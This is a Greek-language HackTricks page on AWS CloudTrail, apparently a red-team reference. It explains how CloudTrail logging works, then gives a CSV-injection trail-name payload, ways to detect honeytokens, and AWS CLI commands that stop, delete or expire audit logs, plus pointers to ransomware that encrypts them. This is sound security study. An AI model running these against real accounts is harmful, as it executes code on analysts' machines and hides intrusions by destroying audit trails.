AWS - CloudTrail Enum

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

CloudTrail

AWS CloudTrail καταγράφει και παρακολουθεί τη δραστηριότητα μέσα στο περιβάλλον AWS σας. Καταγράφει λεπτομερή αρχεία γεγονότων, συμπεριλαμβανομένου του ποιος έκανε τι, πότε και από πού, για όλες τις αλληλεπιδράσεις με τους πόρους AWS. Αυτό παρέχει ένα ίχνος ελέγχου των αλλαγών και των ενεργειών, βοηθώντας στην ανάλυση ασφάλειας, την επιθεώρηση συμμόρφωσης και την παρακολούθηση αλλαγών πόρων. Το CloudTrail είναι απαραίτητο για την κατανόηση της συμπεριφοράς χρηστών και πόρων, την ενίσχυση των θέσεων ασφάλειας και την εξασφάλιση της κανονιστικής συμμόρφωσης.

Κάθε καταγεγραμμένο γεγονός περιέχει:

  • Το όνομα της καλούμενης API: eventName
  • Η καλούμενη υπηρεσία: eventSource
  • Ο χρόνος: eventTime
  • Η διεύθυνση IP: SourceIPAddress
  • Η μέθοδος του πράκτορα: userAgent. Παραδείγματα:
  • Signing.amazonaws.com - Από το AWS Management Console
  • console.amazonaws.com - Χρήστης root του λογαριασμού
  • lambda.amazonaws.com - AWS Lambda
  • Οι παράμετροι αιτήματος: requestParameters
  • Τα στοιχεία απάντησης: responseElements

Τα γεγονότα γράφονται σε ένα νέο αρχείο καταγραφής περίπου κάθε 5 λεπτά σε ένα αρχείο JSON, κρατούνται από το CloudTrail και τελικά, τα αρχεία καταγραφής παραδίδονται στο S3 περίπου 15 λεπτά μετά.
Τα αρχεία καταγραφής του CloudTrail μπορούν να συγκεντρωθούν σε λογαριασμούς και σε περιοχές.
Το CloudTrail επιτρέπει τη χρήση ακεραιότητας αρχείων καταγραφής προκειμένου να μπορείτε να επαληθεύσετε ότι τα αρχεία καταγραφής σας έχουν παραμείνει αμετάβλητα από τότε που το CloudTrail σας τα παρέδωσε. Δημιουργεί ένα SHA-256 hash των αρχείων καταγραφής μέσα σε ένα αρχείο digest. Ένα sha-256 hash των νέων αρχείων καταγραφής δημιουργείται κάθε ώρα.
Κατά τη δημιουργία ενός Trail, οι επιλεγείς γεγονότων θα σας επιτρέψουν να υποδείξετε το trail που θα καταγραφεί: Management, data ή insights events.

Τα αρχεία καταγραφής αποθηκεύονται σε έναν κάδο S3. Από προεπιλογή χρησιμοποιείται Κρυπτογράφηση Server Side (SSE-S3) έτσι ώστε το AWS να αποκρυπτογραφεί το περιεχόμενο για τους ανθρώπους που έχουν πρόσβαση σε αυτό, αλλά για επιπλέον ασφάλεια μπορείτε να χρησιμοποιήσετε SSE με KMS και τα δικά σας κλειδιά.

Τα αρχεία καταγραφής αποθηκεύονται σε έναν κάδο S3 με αυτή τη μορφή ονόματος:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
  • Ονομάζοντας τον BucketName: aws-cloudtrail-logs-<accountid>-<random>
  • Παράδειγμα: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Μέσα σε κάθε φάκελο, κάθε αρχείο καταγραφής θα έχει ένα όνομα που ακολουθεί αυτή τη μορφή: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Log File Naming Convention

Επιπλέον, τα αρχεία digest (για έλεγχο ακεραιότητας αρχείου) θα βρίσκονται μέσα στον ίδιο κάδο σε:

Aggregate Logs from Multiple Accounts

  • Δημιουργήστε ένα Trail στον λογαριασμό AWS όπου θέλετε να παραδίδονται τα αρχεία καταγραφής
  • Εφαρμόστε άδειες στον προορισμό S3 κάδο επιτρέποντας διασυνοριακή πρόσβαση για το CloudTrail και επιτρέψτε σε κάθε λογαριασμό AWS που χρειάζεται πρόσβαση
  • Δημιουργήστε ένα νέο Trail στους άλλους λογαριασμούς AWS και επιλέξτε να χρησιμοποιήσετε τον δημιουργημένο κάδο στο βήμα 1

Ωστόσο, ακόμη και αν μπορείτε να αποθηκεύσετε όλα τα αρχεία καταγραφής στον ίδιο κάδο S3, δεν μπορείτε να συγκεντρώσετε τα αρχεία καταγραφής του CloudTrail από πολλούς λογαριασμούς σε ένα CloudWatch Logs που ανήκει σε έναν μόνο λογαριασμό AWS.

Caution

Θυμηθείτε ότι ένας λογαριασμός μπορεί να έχει διαφορετικά Trails από το CloudTrail ενεργοποιημένα αποθηκεύοντας τα ίδια (ή διαφορετικά) αρχεία καταγραφής σε διαφορετικούς κάδους.

Cloudtrail from all org accounts into 1

Όταν δημιουργείτε ένα CloudTrail, είναι δυνατό να υποδείξετε να ενεργοποιηθεί το cloudtrail για όλους τους λογαριασμούς στην οργάνωση και να αποκτήσετε τα αρχεία καταγραφής σε μόνο 1 κάδο:

Με αυτόν τον τρόπο μπορείτε εύκολα να διαμορφώσετε το CloudTrail σε όλες τις περιοχές όλων των λογαριασμών και να κεντρικοποιήσετε τα αρχεία καταγραφής σε 1 λογαριασμό (που θα πρέπει να προστατεύσετε).

Log Files Checking

Μπορείτε να ελέγξετε ότι τα αρχεία καταγραφής δεν έχουν τροποποιηθεί εκτελώντας

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

Το CloudTrail μπορεί αυτόματα να στέλνει logs στο CloudWatch ώστε να μπορείτε να ρυθμίσετε ειδοποιήσεις που σας προειδοποιούν όταν εκτελούνται ύποπτες δραστηριότητες.
Σημειώστε ότι για να επιτραπεί στο CloudTrail να στείλει τα logs στο CloudWatch, χρειάζεται να δημιουργηθεί ένας ρόλος που να επιτρέπει αυτή την ενέργεια. Εάν είναι δυνατόν, συνιστάται να χρησιμοποιήσετε τον προεπιλεγμένο ρόλο του AWS για να εκτελέσετε αυτές τις ενέργειες. Αυτός ο ρόλος θα επιτρέπει στο CloudTrail να:

  • CreateLogStream: Αυτό επιτρέπει τη δημιουργία ροών logs στο CloudWatch Logs
  • PutLogEvents: Παράδοση των logs του CloudTrail στη ροή logs του CloudWatch Logs

Event History

Η Ιστορία Εκδηλώσεων του CloudTrail σας επιτρέπει να επιθεωρείτε σε έναν πίνακα τα logs που έχουν καταγραφεί:

Insights

Τα Insights του CloudTrail αυτόματα αναλύουν τα γεγονότα διαχείρισης εγγραφής από τα μονοπάτια του CloudTrail και σας ειδοποιούν για ασυνήθιστη δραστηριότητα. Για παράδειγμα, εάν υπάρχει αύξηση στα γεγονότα TerminateInstance που διαφέρει από τις καθορισμένες βάσεις, θα το δείτε ως γεγονός Insight. Αυτά τα γεγονότα διευκολύνουν την εύρεση και την αντίδραση σε ασυνήθιστη δραστηριότητα API περισσότερο από ποτέ.

Τα insights αποθηκεύονται στον ίδιο κάδο με τα logs του CloudTrail στο: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Control NameImplementation Details
CloudTrail Log File Integrity
  • Επικυρώστε αν τα logs έχουν παραποιηθεί (τροποποιηθεί ή διαγραφεί)
  • Χρησιμοποιεί αρχεία digest (δημιουργεί hash για κάθε αρχείο)

    • SHA-256 hashing
    • SHA-256 με RSA για ψηφιακή υπογραφή
    • ιδιωτικό κλειδί που ανήκει στην Amazon
  • Χρειάζεται 1 ώρα για να δημιουργηθεί ένα αρχείο digest (γίνεται στην ώρα κάθε ώρα)
Stop unauthorized access
  • Χρησιμοποιήστε πολιτικές IAM και πολιτικές κάδου S3

    • ομάδα ασφαλείας —> πρόσβαση διαχειριστή
    • ελεγκτές —> πρόσβαση μόνο για ανάγνωση
  • Χρησιμοποιήστε SSE-S3/SSE-KMS για να κρυπτογραφήσετε τα logs
Prevent log files from being deleted
  • Περιορίστε την πρόσβαση διαγραφής με πολιτικές IAM και πολιτικές κάδου
  • Ρυθμίστε την διαγραφή MFA S3
  • Επικυρώστε με την Επικύρωση Αρχείων Logs

Access Advisor

Ο AWS Access Advisor βασίζεται στα τελευταία 400 ημέρες logs του AWS CloudTrail για να συγκεντρώσει τις πληροφορίες του. Το CloudTrail καταγράφει μια ιστορία των κλήσεων API του AWS και σχετικών γεγονότων που έγιναν σε έναν λογαριασμό AWS. Ο Access Advisor χρησιμοποιεί αυτά τα δεδομένα για να δείξει πότε οι υπηρεσίες είχαν πρόσβαση τελευταία. Αναλύοντας τα logs του CloudTrail, ο Access Advisor μπορεί να προσδιορίσει ποιες υπηρεσίες AWS έχει αποκτήσει πρόσβαση ένας χρήστης ή ρόλος IAM και πότε συνέβη αυτή η πρόσβαση. Αυτό βοηθά τους διαχειριστές AWS να λαμβάνουν ενημερωμένες αποφάσεις σχετικά με την εκλέπτυνση των δικαιωμάτων, καθώς μπορούν να εντοπίσουν υπηρεσίες που δεν έχουν αποκτηθεί πρόσβαση για παρατεταμένες περιόδους και ενδεχομένως να μειώσουν υπερβολικά ευρείες άδειες με βάση τα πραγματικά πρότυπα χρήσης.

Tip

Επομένως, ο Access Advisor ενημερώνει για τις περιττές άδειες που δίνονται στους χρήστες ώστε ο διαχειριστής να μπορεί να τις αφαιρέσει

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Είναι δυνατόν να εκτελέσετε μια CVS injection μέσα στο CloudTrail που θα εκτελέσει αυθαίρετο κώδικα αν τα logs εξάγονται σε CSV και ανοίγονται με το Excel.
Ο παρακάτω κώδικας θα δημιουργήσει μια καταχώρηση log με ένα κακό Trail name που περιέχει το payload:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Για περισσότερες πληροφορίες σχετικά με τις επιθέσεις CSV, ελέγξτε τη σελίδα:

Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks

Για περισσότερες πληροφορίες σχετικά με αυτή τη συγκεκριμένη τεχνική, ελέγξτε https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Παράκαμψη Ανίχνευσης

HoneyTokens παράκαμψη

Τα Honeytokens δημιουργούνται για να ανιχνεύσουν την εξαγωγή ευαίσθητων πληροφοριών. Στην περίπτωση του AWS, είναι κλειδιά AWS των οποίων η χρήση παρακολουθείται, αν κάτι προκαλέσει μια ενέργεια με αυτό το κλειδί, τότε κάποιος πρέπει να έχει κλέψει αυτό το κλειδί.

Ωστόσο, τα Honeytokens όπως αυτά που δημιουργούνται από Canarytokens, SpaceCrab, SpaceSiren χρησιμοποιούν είτε αναγνωρίσιμα ονόματα λογαριασμού είτε το ίδιο ID λογαριασμού AWS για όλους τους πελάτες τους. Επομένως, αν μπορείτε να αποκτήσετε το όνομα λογαριασμού και/ή το ID λογαριασμού χωρίς να κάνετε το Cloudtrail να δημιουργήσει οποιοδήποτε log, θα μπορούσατε να ξέρετε αν το κλειδί είναι honeytoken ή όχι.

Pacu έχει κάποιους κανόνες για να ανιχνεύσει αν ένα κλειδί ανήκει σε Canarytokens, SpaceCrab, SpaceSiren:

  • Αν canarytokens.org εμφανίζεται στο όνομα ρόλου ή το ID λογαριασμού 534261010715 εμφανίζεται στο μήνυμα σφάλματος.
  • Δοκιμάζοντας τα πιο πρόσφατα, χρησιμοποιούν το λογαριασμό 717712589309 και εξακολουθεί να έχει τη συμβολοσειρά canarytokens.com στο όνομα.
  • Αν SpaceCrab εμφανίζεται στο όνομα ρόλου στο μήνυμα σφάλματος
  • SpaceSiren χρησιμοποιεί uuids για να δημιουργήσει ονόματα χρηστών: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
  • Αν το όνομα φαίνεται τυχαία παραγόμενο, υπάρχουν υψηλές πιθανότητες ότι είναι ένα HoneyToken.

Αποκτήστε το ID λογαριασμού από το Key ID

Μπορείτε να αποκτήσετε το Account ID από το encoded μέσα στο access key όπως εξηγείται εδώ και να ελέγξετε το ID λογαριασμού με τη λίστα σας από τους λογαριασμούς Honeytokens AWS:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Δείτε περισσότερες πληροφορίες στην πρωτότυπη έρευνα.

Μην δημιουργείτε ένα log

Η πιο αποτελεσματική τεχνική για αυτό είναι στην πραγματικότητα μια απλή. Απλά χρησιμοποιήστε το κλειδί που μόλις βρήκατε για να αποκτήσετε πρόσβαση σε κάποια υπηρεσία μέσα στον δικό σας λογαριασμό επιτιθέμενου. Αυτό θα κάνει το CloudTrail να δημιουργήσει ένα log μέσα στον ΔΙΚΟ ΣΑΣ λογαριασμό AWS και όχι μέσα στους θύματα.

Το θέμα είναι ότι η έξοδος θα σας δείξει ένα σφάλμα που υποδεικνύει το ID του λογαριασμού και το όνομα του λογαριασμού, έτσι θα μπορείτε να δείτε αν είναι ένα Honeytoken.

Υπηρεσίες AWS χωρίς logs

Στο παρελθόν υπήρχαν κάποιες υπηρεσίες AWS που δεν στέλνουν logs στο CloudTrail (βρείτε μια λίστα εδώ). Ορισμένες από αυτές τις υπηρεσίες θα ανταποκριθούν με ένα σφάλμα που περιέχει το ARN του ρόλου κλειδιού αν κάποιος μη εξουσιοδοτημένος (το κλειδί honeytoken) προσπαθήσει να αποκτήσει πρόσβαση σε αυτό.

Με αυτόν τον τρόπο, ένας επιτιθέμενος μπορεί να αποκτήσει το ARN του κλειδιού χωρίς να ενεργοποιήσει κανένα log. Στο ARN, ο επιτιθέμενος μπορεί να δει το AWS account ID και το όνομα, είναι εύκολο να γνωρίζει το ID και τα ονόματα των εταιρικών λογαριασμών του HoneyToken, έτσι με αυτόν τον τρόπο ένας επιτιθέμενος μπορεί να προσδιορίσει αν το token είναι ένα HoneyToken.

Caution

Σημειώστε ότι όλες οι δημόσιες APIs που ανακαλύφθηκαν ότι δεν δημιουργούν logs CloudTrail έχουν πλέον διορθωθεί, οπότε ίσως χρειαστεί να βρείτε τις δικές σας…

Για περισσότερες πληροφορίες δείτε την πρωτότυπη έρευνα.

Πρόσβαση σε Τρίτη Υποδομή

Ορισμένες υπηρεσίες AWS θα δημιουργήσουν κάποια υποδομή όπως Βάσεις Δεδομένων ή Kubernetes clusters (EKS). Ένας χρήστης που μιλάει απευθείας σε αυτές τις υπηρεσίες (όπως το Kubernetes API) δεν θα χρησιμοποιήσει το AWS API, έτσι το CloudTrail δεν θα μπορεί να δει αυτή την επικοινωνία.

Επομένως, ένας χρήστης με πρόσβαση στο EKS που έχει ανακαλύψει τη διεύθυνση URL του EKS API θα μπορούσε να δημιουργήσει ένα token τοπικά και να μιλήσει απευθείας στην υπηρεσία API χωρίς να ανιχνευθεί από το Cloudtrail.

Περισσότερες πληροφορίες στο:

AWS - EKS Post Exploitation

Τροποποίηση Ρυθμίσεων CloudTrail

Διαγραφή trails

aws cloudtrail delete-trail --name [trail-name]

Σταματήστε τα ίχνη

aws cloudtrail stop-logging --name [trail-name]

Απενεργοποίηση καταγραφής πολλαπλών περιοχών

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Απενεργοποίηση Καταγραφής μέσω Επιλογών Εκδηλώσεων

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Στο πρώτο παράδειγμα, παρέχεται ένας επιλεγέας γεγονότος ως πίνακας JSON με ένα μόνο αντικείμενο. Το "ReadWriteType": "ReadOnly" υποδεικνύει ότι ο επιλεγέας γεγονότος θα πρέπει να καταγράφει μόνο γεγονότα μόνο για ανάγνωση (έτσι οι πληροφορίες του CloudTrail δεν θα ελέγχουν γεγονότα εγγραφής για παράδειγμα).

Μπορείτε να προσαρμόσετε τον επιλεγέα γεγονότος με βάση τις συγκεκριμένες απαιτήσεις σας.

Διαγραφή καταγραφών μέσω πολιτικής κύκλου ζωής S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Τροποποίηση Ρυθμίσεων Bucket

  • Διαγράψτε το S3 bucket
  • Αλλάξτε την πολιτική του bucket για να αρνηθεί οποιαδήποτε εγγραφή από την υπηρεσία CloudTrail
  • Προσθέστε πολιτική κύκλου ζωής στο S3 bucket για να διαγράψετε αντικείμενα
  • Απενεργοποιήστε το κλειδί kms που χρησιμοποιείται για την κρυπτογράφηση των καταγραφών CloudTrail

Ransomware Cloudtrail

Ransomware S3

Μπορείτε να δημιουργήσετε ένα ασύμμετρο κλειδί και να κάνετε το CloudTrail να κρυπτογραφεί τα δεδομένα με αυτό το κλειδί και να διαγράψετε το ιδιωτικό κλειδί ώστε τα περιεχόμενα του CloudTrail να μην μπορούν να ανακτηθούν.
Αυτό είναι βασικά ένα S3-KMS ransomware που εξηγείται στο:

AWS - S3 Post Exploitation

Ransomware KMS

Αυτή είναι η πιο εύκολη μέθοδος για να εκτελέσετε την προηγούμενη επίθεση με διαφορετικές απαιτήσεις αδειών:

AWS - KMS Post Exploitation

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks